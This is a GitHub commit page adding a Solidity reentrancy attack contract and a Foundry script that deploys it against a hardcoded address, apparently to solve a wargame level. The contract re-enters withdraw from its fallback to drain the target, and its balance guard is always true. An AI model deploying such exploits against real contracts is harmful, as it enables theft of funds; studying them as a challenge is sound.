Skip to content

Commit 51d593b

Browse files
committed
lvl: re-entracy
1 parent a068d65 commit 51d593b

File tree

2 files changed

+49
-0
lines changed

2 files changed

+49
-0
lines changed
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.13;
3+
4+
import {Script, console} from "forge-std/Script.sol";
5+
import {ReentrancyAttack} from "../../src/ReentrancyAttack.sol";
6+
7+
contract DeployReentrancy is Script {
8+
9+
ReentrancyAttack attacker;
10+
11+
function run() external {
12+
13+
uint256 pkey = vm.envUint("PKEY");
14+
vm.startBroadcast(pkey);
15+
16+
attacker = new ReentrancyAttack{value: 0.001 ether}();
17+
attacker.attack();
18+
19+
vm.stopBroadcast();
20+
}
21+
}

src/ReentrancyAttack.sol

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.13;
3+
4+
interface IReentrance {
5+
function withdraw(uint256 _amount) external;
6+
function donate(address _to) external payable;
7+
}
8+
9+
contract ReentrancyAttack {
10+
11+
address target = 0x2E7462F2E74b6bFf17B7C2f5AA0Ba40A6a439e98;
12+
uint256 amountToWithdraw;
13+
14+
constructor() payable {
15+
amountToWithdraw = msg.value;
16+
}
17+
18+
function attack() external payable {
19+
IReentrance(target).donate{value : amountToWithdraw}(address(this));
20+
IReentrance(target).withdraw(amountToWithdraw);
21+
}
22+
23+
fallback() external payable {
24+
if (target.balance >= 0) {
25+
IReentrance(target).withdraw(amountToWithdraw);
26+
}
27+
}
28+
}

0 commit comments

Comments
 (0)